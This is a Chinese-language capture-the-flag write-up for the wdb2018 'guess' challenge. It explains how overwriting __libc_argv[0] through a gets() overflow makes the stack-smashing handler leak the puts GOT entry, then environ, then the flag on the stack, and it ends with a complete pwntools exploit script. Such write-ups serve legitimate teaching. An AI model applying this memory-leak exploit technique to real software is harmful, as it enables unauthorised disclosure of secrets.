wdb2018 guess 之 environ的利用
漏洞和知识
- gets函数:栈溢出
- 破坏canary:会调用
___stack_chk_fail,打印出该文件所在地址 - fork与wait:fork调用子进程,wait 父进程会等待子进程
__stack_chk_fail源码:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
这个函数会打印__libc_argv[0],其实就是文件路径,我们只用找到__libc_argv[0]在哪,看文件地址。
environ利用
通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。
思路
╰─➤ checksec pwn
[*] '/ctf/tools/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

while循环会调用3个子进程,加上父进程,一共四个,但是gets函数只会执行3次,看看我下面的分析原因:

- 在gdb中调试,在gets处下断点,计算偏移:

偏移0x128:

- 把
puts_got表中内容泄露出来。将__libc_argv[0]覆盖为puts_got,此时我们把canary破坏了,会调用__stack_chk_fail,打印出puts_got表中内容,然后可以获得libc基址了:
offset = 0x128
puts_got = elf.got["puts"]
payload = b"a"*(offset) + p64(puts_got)
sla(b"guessing flag\n",payload)
io.recvuntil(b"*** stack smashing detected ***: ")
puts_addr = get_addr()
libc_base = puts_addr - libc.sym["puts"]
environ = libc_base + libc.sym["environ"]
- 用同样的方法,把
environ表中内容泄露出来,然后就能通过偏移计算得到所有栈上位置。
payload = b"a"*(offset) + p64(environ)
sla(b"guessing flag\n",payload)
io.recvuntil(b"*** stack smashing detected ***: ")
stack_addr = get_addr()
print("stack ------> "+hex(stack_addr))
- 我们还知道,程序在开始处会把flag.txt中内容读到栈上,我们找到他与
environ的偏移。
这是泄露出来的environ中的值:


所以偏移值:0x7ffd2d95e6c8 - 0x7ffd2d95e560 = 0x168
- 接下来就是覆盖
__libc_argv[0]为flag地址,那么就会泄露出flag了。
flag_addr = stack_addr - 0x168
payload = b"a"*offset + p64(flag_addr)
sla(b"guessing flag\n",payload)
exp
from pwn import *
from pwn import p64,u64,p32,u32,p8
context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
# io=remote('node5.buuoj.cn',26336)
io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('/ctf/tools/libs/libc-2.23-64.so')
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
inter = lambda : io.interactive()
def get_addr() :
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def pwn():
offset = 0x128
puts_got = elf.got["puts"]
payload = b"a"*(offset) + p64(puts_got)
sla(b"guessing flag\n",payload)
io.recvuntil(b"*** stack smashing detected ***: ")
puts_addr = get_addr()
libc_base = puts_addr - libc.sym["puts"]
environ = libc_base + libc.sym["environ"]
payload = b"a"*(offset) + p64(environ)
sla(b"guessing flag\n",payload)
io.recvuntil(b"*** stack smashing detected ***: ")
stack_addr = get_addr()
print("stack ------> "+hex(stack_addr))
flag_addr = stack_addr - 0x168
payload = b"a"*offset + p64(flag_addr)
sla(b"guessing flag\n",payload)
inter()
pwn()

浙公网安备 33010602011771号